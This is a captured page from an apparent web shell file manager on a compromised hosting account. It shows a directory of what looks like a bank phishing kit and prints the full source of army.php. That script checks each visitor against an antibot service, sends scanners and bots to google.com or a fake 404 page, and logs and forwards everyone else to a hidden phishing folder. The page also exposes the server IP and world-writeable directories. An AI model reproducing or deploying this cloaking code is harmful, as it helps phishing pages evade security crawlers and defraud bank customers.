$79 GRAYBYTE WORDPRESS FILE MANAGER $65

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 104.21.66.139 | ADMIN IP 216.73.216.147
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravrvjk/cepurhuye.rw/076be9/

HOME
Current File : /home/bravrvjk/cepurhuye.rw/076be9//army.php
<?php

    if( empty($conf_botrmakey) ) {
        echo "<b>Error!</b> Enter antibot APIKEY";
        exit();
    }

/* START CONFIGURATION */

// Enable botrma protection (set to true to enable, false to disable)
$botProtection = true;
// Your botrma.Pro API key (replace with your actual API key)
$botrmaApiKey = $conf_botrmakey;
// URL to redirect blocked users (leave empty to show a 404 error page)
$botRedirection = "https://google.com";

/* END CONFIGURATION */

/**
 * Class botrma
 *
 * This class integrates with botrma.ma to check and block malicious traffic based on IP and User-Agent.
 */
class botrma {
    private string $apiKey;

    /**
     * Initializes the botrma class with the provided API key.
     *
     * @param string $apiKey botrma.Pro API key for authenticating requests.
     */
    public function __construct(string $apiKey) {
        $this->apiKey = $apiKey;
    }

    /**
     * Get the client's real IP address.
     *
     * This method detects the IP address by checking multiple server variables, including Cloudflare headers.
     *
     * @return string The client's IP address.
     */
    private function getClientIP(): string {
        if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
            $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
        }
        $client = $_SERVER['HTTP_CLIENT_IP'] ?? '';
        $forward = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? '';
        $remote = $_SERVER['REMOTE_ADDR'] ?? '';

        return filter_var($client, FILTER_VALIDATE_IP) ? $client :
               (filter_var($forward, FILTER_VALIDATE_IP) ? $forward : $remote);
    }

    /**
     * Send a 404 Not Found response to the client and halt the script.
     *
     * Displays a simple 404 error page and stops the script execution.
     */
    public function showNotFoundPage(): void {
        header("HTTP/1.0 404 Not Found");
        $requestedPage = $_SERVER['REQUEST_URI'] ?? 'Unknown';
        $pagePath = parse_url($requestedPage, PHP_URL_PATH);
        $serverName = $_SERVER['SERVER_NAME'] ?? 'Unknown';

        echo <<<EOL
        <!DOCTYPE HTML>
        <html><head><title>404 Not Found</title></head><body>
        <h1>Not Found</h1>
        <p>The requested URL $pagePath was not found on this server.</p>
        <hr>
        <address>Server at $serverName Port 80</address>
        </body></html>
        EOL;
        exit();
    }

    /**
     * Make an HTTP GET request.
     *
     * This function handles sending GET requests using cURL.
     *
     * @param string $url The URL to send the request to.
     * @return string The response from the server.
     * @throws Exception if the HTTP request fails.
     */
    private function httpGet(string $url): string {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, 'ANTIBOT-PHP');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);

        $response = curl_exec($ch);
        if ($response === false) {
            throw new Exception('HTTP request failed: ' . curl_error($ch));
        }

        curl_close($ch);
        return $response;
    }

    /**
     * Check if the current user should be blocked by botrma.Pro.
     *
     * This method sends the client's IP and User-Agent to the botrma API for evaluation.
     *
     * @return array The response data from botrma API.
     */
  
  public function get_full_url() {

    $isSecure =
        (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ||
        (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) ||
        (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') ||
        (!empty($_SERVER['HTTP_CF_VISITOR']) && strpos($_SERVER['HTTP_CF_VISITOR'], '"scheme":"https"') !== false);

    $protocol = $isSecure ? 'https' : 'http';

    return $protocol . "://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
}
    public function check(): array {
        try {
          
            $ip = $this->getClientIP();
            $url = "https://www.botrma.com/api/checker?ip=$ip&api_key=" . $this->apiKey .
                   "&ua=" . urlencode($_SERVER['HTTP_USER_AGENT']) .
                   "&url=" . urlencode($this->get_full_url());
            $response = $this->httpGet($url);
            $data = json_decode($response, true);
          
          
            if (json_last_error() !== JSON_ERROR_NONE) {
                throw new Exception('Error decoding JSON: ' . json_last_error_msg());
            }

            return $data;
        } catch (Exception $e) {
            return ['success' => false, 'error' => $e->getMessage()];
        }
    }
}

/* MAIN LOGIC */
if ($botProtection) {
    $botrma = new botrma($botrmaApiKey);
    $check = $botrma->check();
  
 
    if (!$check['data']) {
        die($check['error'] ?? 'An unknown error occurred.');
    }

  
    $requestID = $check['request_id'];
    define('BOTRMA_REQUEST_ID', $requestID );
    $_SESSION['BOTRMA_REQUEST_ID'] = $requestID;

  
  
    // Block access if the API indicates the user should be blocked
    if ($check['blocked']) {
        if (!empty($botRedirection)) {
            header("Location: " . $botRedirection);
        } else {
            $botrma->showNotFoundPage();
        }
        exit();
    }

    $_SESSION['last_page'] = "index";
    $_SESSION['user_allowed'] = true;
    visitors($ip_infos,"Localhost");
    header("Location: DUVzTTavlOw/?redirection=index");
    exit();

}

Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
18 Apr 2026 1.34 AM
bravrvjk / nobody
0750
DUVzTTavlOw
--
9 Feb 2025 5.30 PM
bravrvjk / bravrvjk
0777
assets
--
9 Feb 2025 5.36 PM
bravrvjk / bravrvjk
0777
inc
--
27 Feb 2026 5.33 AM
bravrvjk / bravrvjk
0777
panel
--
14 Apr 2026 9.15 AM
bravrvjk / bravrvjk
0777
.htaccess
0.1 KB
19 Mar 2024 11.53 PM
bravrvjk / bravrvjk
0666
army.php
5.658 KB
1 Jan 2026 2.37 AM
bravrvjk / bravrvjk
0666
config.db
0.411 KB
14 Apr 2026 9.15 AM
bravrvjk / bravrvjk
0644
index.php
4.472 KB
27 Feb 2026 5.33 AM
bravrvjk / bravrvjk
0666
install.php
19.555 KB
1 Jan 2026 2.37 AM
bravrvjk / bravrvjk
0666
one_time_access.txt
0 KB
20 Mar 2024 1.31 AM
bravrvjk / bravrvjk
0666
verifying.php
3.441 KB
22 Aug 2025 9.13 PM
bravrvjk / bravrvjk
0666
visitors.html
4.515 KB
16 Apr 2026 6.40 AM
bravrvjk / bravrvjk
0666
vrbankjdoda.zip
3.98 MB
10 Apr 2026 3.20 PM
bravrvjk / bravrvjk
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF